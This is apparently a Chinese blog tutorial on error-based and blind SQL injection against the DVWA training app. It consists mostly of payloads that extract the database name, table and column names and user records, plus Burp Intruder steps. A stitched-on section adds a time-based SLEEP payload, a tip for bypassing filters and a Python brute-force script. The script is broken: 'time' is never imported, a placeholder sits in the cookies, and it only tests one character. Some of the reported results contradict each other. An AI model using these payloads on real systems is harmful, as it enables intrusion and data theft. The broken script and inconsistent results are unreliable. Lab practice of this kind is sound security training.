DVWA报错注入和盲注

爆库名

1' and extractvalue(1,concat(0x7e,database()));#

爆表数

1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#

爆表名

1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)))#

爆列数

1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#

爆列名

1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#

爆列里信息

1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#

ascii码值 (33-126重点)

现在判断是字符型还是数字型

1

1’

1”

1 and 1=1 #

1 and 1=2 #

1' and 1=1 #

1' and 1=2 #

1' or '1' = '1 #

1' or '1' = '2 #

猜解数据库长度

1' and length(database())>10 #

1' and length(database())>5 #

1' and length(database())>3 #

1' and length(database())=4 #

证明数据库名字长度等于4

猜解数据库第一个字母 (ascii表33-126是键盘上的常用按键)

1' and ascii(substr(database(),1,1))>88 #

使用burp 抓包,将1添加$,然后该数值范围为0-4-1,33-126-1,得出字母分别为100,118,119,97对应的ascii表为d,v,w,a。

猜解表的数量

1' and (select count (table_name) from information_schema.tables where table_schema=database()) >10 #

1' and (select count (table_name) from information_schema.tables where table_schema=database()) =2 #

猜解第一个表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=88 #

使用bp抓包,并修改第三个1和88,使用集束炸弹将数值修改为0-5-1,33-126-1,

得出表名是guestbook

猜解第二个表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=88 #

使用bp抓包,并修改第三个1和88,使用集束炸弹将数值修改为0-5-1,33-126-1,

得出表名为users

爆users表里的列数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'users') = 8 #

使用bp添加$8,修改数值为0-10-1

得出users表里有8个列

爆users表的字段长度

1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1),1))=10 #

使用bp添加$10,修改数值为0-10-1

users表中第一个字段长度为7

爆users表中第一个列名称

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=100 #

使用bp添加$1,$100修改数值为0-50-1,33-126-1

得出列名称为user_id

爆users表中第二个列名称

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=100 #

使用bp添加$1,$100修改数值为0-20-1,33-126-1

得出列名称为first_name

爆users表中first name列中的信息

1' and length(substr((select user from users limit 0,1),1))=7 #

使用bp添加$7修改数值为0-10,使用狙击手

得出first_name中有5行数据

爆users表中first_name列中每条信息的长度

1' and (select count(*) from users)= 20 #

使用bp添加$20修改数值为0-20,使用狙击手

得出users中有5行

爆users表中first_name列中每条信息的长度

1' and length(substr((select first_name from users limit 0,1),1))=1 #

使用bp添加$0,$1修改数值为0-20-1,0-20-1

得出长度分别为5,6,4,5,3

查出列中的信息

1' and ascii(substr((select first_name from users limit 0,1),1,1))=1 #

得出结果为admin

1' and ascii(substr((select first_name from users limit 1,1),1,1))=1 #

修改$1,$1

得出名字长度为6位,为Gordon

### 解决 DVWA SQL Injection Advanced Mode 报错问题 在处理DVWA(Damn Vulnerable Web Application)中的SQL注入高级模式时,如果遇到错误提示,通常可能由以下几个原因引起: #### 1. 配置文件设置不正确 确保DVWA的配置文件`config.inc.php`已正确定义数据库连接参数。例如,用户名、密码以及数据库名称应与实际环境匹配[^1]。 ```php $_DBMS = 'MySQL'; $_DATABASE_HOST = 'localhost'; $_DATABASE_USER = 'root'; $_DATABASE_PASSWORD = ''; $_DATABASE_NAME = 'dvwa'; ``` #### 2. 安全插件干扰 某些浏览器扩展或安全软件可能会阻止恶意请求通过POST方法发送到服务器。建议禁用这些工具并尝试重新提交测试数据[^2]。 #### 3. 输入验证机制增强 高级模式下的输入框会启用更严格的过滤器来检测潜在攻击向量。可以绕过此限制的一种方式是利用布尔技术而非传统的联合查询语句。 例如,构造如下payload以判断是否存在漏洞: ```sql ' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=100,SLEEP(5),NULL) -- ``` 上述例子中使用了条件函数IF配合SLEEP延迟响应时间作为反馈依据,而不是依赖页面返回的具体内容变化。 #### 4. 数据库权限不足 确认当前使用的账户拥有足够的操作权限执行相应的命令序列。可以通过手动登录至目标数据库实例核查相应表结构及记录情况进一步排查具体异常所在位置。 --- ### 提供一段Python脚本用于自动化探测过程 下面展示了一款简单的基于requests库实现的程序片段用来辅助分析该场景下的行为特征: ```python import requests from time import sleep url = "http://your-dvwa-site/vulnerabilities/sqli_blind/" data_template = {'id': '', 'Submit': 'Submit'} def test_payload(payload): data_template['id'] = payload start_time = time.time() response = requests.post(url, cookies={'security':'high', ...}, data=data_template) elapsed_time = time.time() - start_time return True if elapsed_time >= 5 else False for i in range(8): char_guess = ord('d') # Assuming first letter is d for demonstration purposes only. current_char_test = f"' AND IF(ASCII(SUBSTRING((SELECT database()),{i+1},1))={char_guess},SLEEP(5),NULL)-- " result = test_payload(current_char_test) if not result: break print(f"Database name starts with character {chr(char_guess)}") ``` 意替换模板内的URL地址以及其他必要的认证信息等内容适应本地部署状况后再运行以上代码逻辑部分。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值